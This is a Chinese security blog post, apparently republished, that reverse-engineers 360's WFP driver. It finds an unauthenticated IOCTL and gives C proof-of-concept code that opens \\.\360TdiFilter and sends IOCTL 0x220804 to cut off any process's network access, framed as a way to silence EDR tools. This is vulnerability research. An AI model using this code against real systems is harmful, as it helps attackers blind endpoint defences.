文章总结: 本文逆向360的WFP驱动,发现其IOCTL接口未严格验证权限。通过IOCTL0x220804,管理员进程可利用WFP机制强制阻断任意进程的网络连接。文章详细解析了驱动原理与过滤流程,并提供了POC代码。虽然360自身有白名单保护,该技术仍揭示了利用安全驱动进行网络封锁的风险。
综合评分: 95
文章分类: 逆向分析,漏洞POC,红队,二进制安全
利用360驱动阻断EDR网络连接
原创
可以遐想
可以遐想
遐想的小窝
2026年2月11日 01:19
安徽
闲来无事发个水文,记录一下特殊情况下分析360安全卫士过程中觉得可以公开的一个点。
在对 360netmon\_x64\_wfp.sys 进行逆向工程时,我首先定位到驱动的入口点 DriverEntry,发现驱动创建了两个设备对象:
IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiFilter", 0x22u, 0, 0, &deviceObject);IoCreateSymbolicLink(L"\\DosDevices\\360TdiFilter", L"\\Device\\360TdiFilter");
IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiSpeed", 0x22u, 0, 0, &qword_25320);IoCreateSymbolicLink(L"\\DosDevices\\360TdiSpeed", L"\\Device\\360TdiSpeed");
这两个设备可以从用户态通过符号链接 \\\\.\\\\360TdiFilter 和 \\\\.\\\\360TdiSpeed 访问。
这个驱动注册了多个 IRP 处理函数,其中 IrpMjDeviceControl 处理函数(地址 0x12374)负责处理所有 IOCTL 请求。
在 IrpMjDeviceControl 的入口处,代码仅验证设备对象是否匹配,完全没有调用者身份验证:
123D8: mov rcx, cs:g_pDeviceObject_TdiFilter123DF: cmp rdi, rcx ; 仅验证设备对象123E2: jz short loc_12422
既然如此我们就不得不去分析 IOCTL 接口实现进一步的利用。因为我们通过驱动的信息已经知道这个WFP驱动的用途,所以我们的预期就是任意的阻断网络功能。
很快我们的目光就到了 IOCTL 0x220804:身上,我们猜测功能是设置进程网络限速/阻断。于是细细地看了一下。
跟进sub_18BB8方法,我们发现它会:
- 解析用户提供的进程路径
- 在进程hash表中查找或创建进程节点
- 设置进程的限速配置字段
- 如果 qwBlockCnnt 设置为 LLONG_MAX,则完全阻断网络
IOCTL 0x220444 则主要负责WFP 过滤器操作,用来动态添加/删除 WFP 过滤规则,我们直接摸进sub_1D45C。
NTSTATUS __fastcall sub_1D45C(int a1){ NTSTATUS v7; char v1, v2, v3, v4;
// 检查 Windows 版本(仅支持 Win10 1607+) if (g_WindowsBuildNumber < 0x23F0) // Build 9200 return STATUS_NOT_IMPLEMENTED;
// 检查是否已经是相同模式 if (dword_6B78C == a1) return STATUS_SUCCESS;
// 检查 WFP 引擎句柄 if (!engineHandle) return STATUS_DEVICE_NOT_READY;
// 开始 WFP 事务 v7 = FwpmTransactionBegin0(engineHandle, 0); if (v7 < 0) return v7;
if (a1) { // 启用过滤 // 注册 4 个 WFP Callout (Established V4/V6, Datagram V4/V6) v7 = sub_1D1E8(qword_6B790, &xmmword_236D0, &calloutId); if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS) goto CLEANUP; v1 = 1;
v7 = sub_1D1E8(qword_6B790, &xmmword_236E0, &dword_6B10C); if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS) goto CLEANUP; v2 = 1;
v7 = sub_1D1E8(qword_6B790, &xmmword_236F0, &dword_6B750); if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS) goto CLEANUP; v3 = 1;
v7 = sub_1D1E8(qword_6B790, &xmmword_23700, &dword_6B754); if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS) goto CLEANUP; v4 = 1;
// 添加 4 个 WFP Filter v7 = sub_1CF28(..., engineHandle, 0, &dword_6B7A0); // ... (重复为其他3个过滤器)
} else { // 禁用过滤 // 删除所有过滤器和 Callout v7 = FwpmFilterDeleteById0(engineHandle, id); v7 = FwpmFilterDeleteById0(engineHandle, qword_6B7C0); v7 = FwpmCalloutDeleteById0(engineHandle, dword_6B7A0); // ...
sub_1E288(); // 清理内部状态 FwpsCalloutUnregisterById0(calloutId); FwpsCalloutUnregisterById0(dword_6B10C); FwpsCalloutUnregisterById0(dword_6B750); FwpsCalloutUnregisterById0(dword_6B754); }
// 提交 WFP 事务 v7 = FwpmTransactionCommit0(engineHandle); if (v7 >= 0) dword_6B78C = a1; // 保存当前模式
CLEANUP: if (v7 < 0) { // 失败时回滚并清理已注册的 Callout if (v1) FwpsCalloutUnregisterById0(calloutId); if (v2) FwpsCalloutUnregisterById0(dword_6B10C); if (v3) FwpsCalloutUnregisterById0(dword_6B750); if (v4) FwpsCalloutUnregisterById0(dword_6B754); FwpmTransactionAbort0(engineHandle); }
return v7;}
也就是说:
- 这玩意儿在 WFP 层级动态注册/注销 Callout 和 Filter
- Callout 在 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4/V6和
- FWPM_LAYER_ALE_AUTH_CONNECT_V4/V6 层拦截
- 没有验证调用者权限,任何管理员进程都可以调用
驱动通过以下流程实现网络阻断:
用户态应用 (Pwn.exe) ↓ DeviceIoControl(0x220804, &LIMIT_SPEED)┌───▼─────────────────────────────┐│ IrpMjDeviceControl ││ @ 0x12374 │└───┬─────────────────────────────┘ ↓ call sub_18BB8┌───▼─────────────────────────────┐│ 解析进程路径并查找哈希表 ││ LookupProcessInHashTable() │└───┬─────────────────────────────┘ ↓ 更新进程节点┌───▼─────────────────────────────┐│ ProcessNode->qwBlockCnnt = MAX ││ ProcessNode->nLimitSend = MAX ││ ProcessNode->nLimitRecv = MAX ││ ProcessNode->bCancelFlag = FALSE │└───┬─────────────────────────────┘ ↓ 等待目标进程产生网络活动 ↓┌───▼─────────────────────────────┐│ WFP Callout 拦截点 ││ (网络包发送/接收时触发) │└───┬─────────────────────────────┘ ↓ 查询限速配置┌───▼─────────────────────────────┐│ if (ProcessNode->qwBlockCnnt ││ == LLONG_MAX) ││ return FWP_ACTION_BLOCK; │└──────────────────────────────────┘ ↓ 网络包被丢弃,进程无法联网
现在开始搓POC
通过逆向分析和动态调试,我们重建了驱动期望的数据结构:
#pragma pack(push, 4)typedef struct _PACK { WCHAR szNtPath[MAX_PATH + 40]; // +0x000: NT格式路径 (e.g., \WINDOWS\SYSTEM32\NOTEPAD.EXE) WCHAR szPath[MAX_PATH]; // +0x228: DOS格式路径 (e.g., C:\Windows\System32\notepad.exe) BOOL bCancelFlag; // +0x428: TRUE=解除限制, FALSE=应用限制 LONGLONG qwBlockCnnt; // +0x430: 阻断计数器 (LLONG_MAX = 完全阻断) LONGLONG nLimitSend; // +0x438: 上传速度限制 (字节/秒) LONGLONG nLimitRecv; // +0x440: 下载速度限制 (字节/秒) DWORD dwZeroCheck; // +0x448: 保留字段 (必须为0)} PACK, *PPACK;#pragma pack(pop)
后面的就很简单了,只需要这样那样就可以了:
BOOL BlockProcessNetwork(const WCHAR *szImagePath) { HANDLE hDevice; PACK ls; DWORD dwBytesReturned;
// 1. 打开驱动设备对象 hDevice = CreateFileW( L"\\\\.\\360TdiFilter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device (Error: %lu)\n", GetLastError()); return FALSE; }
// 2. 启用驱动监控功能(可选,驱动可能已启用) DeviceIoControl(hDevice, 0x220408, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
// 3. 构造限速/阻断结构体 ZeroMemory(&ls, sizeof(ls)); wcsncpy_s(ls.szPath, MAX_PATH, szImagePath, _TRUNCATE); ConvertToNtPath(szImagePath, ls.szNtPath); // 转换为NT路径格式
ls.bCancelFlag = FALSE; // FALSE = 应用限制 ls.qwBlockCnnt = LLONG_MAX; // 设置为最大值 = 完全阻断 ls.nLimitSend = LLONG_MAX; // 上传限制 = 无限大 ls.nLimitRecv = LLONG_MAX; // 下载限制 = 无限大 ls.dwZeroCheck = 0;
// 4. 发送 IOCTL 请求 if (!DeviceIoControl( hDevice, 0x220804, // IOCTL_360TDIFILTER_LIMIT_PROCESS_SPEED &ls, sizeof(ls), NULL, 0, &dwBytesReturned, NULL)) { printf("[!] DeviceIoControl failed (Error: %lu)\n", GetLastError()); CloseHandle(hDevice); return FALSE; }
printf("[+] Successfully blocked: %S\n", szImagePath); CloseHandle(hDevice); return TRUE;}
完整的EXP可以查看我的Github:
https://github.com/kyxiaxiang/360WFP_Exploit
阻断后:
当然了360对自己是加了白名单的,所以银狐们退下吧(/摊手/)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:遐想的小窝 可以遐想
可以遐想《利用360驱动阻断EDR网络连接》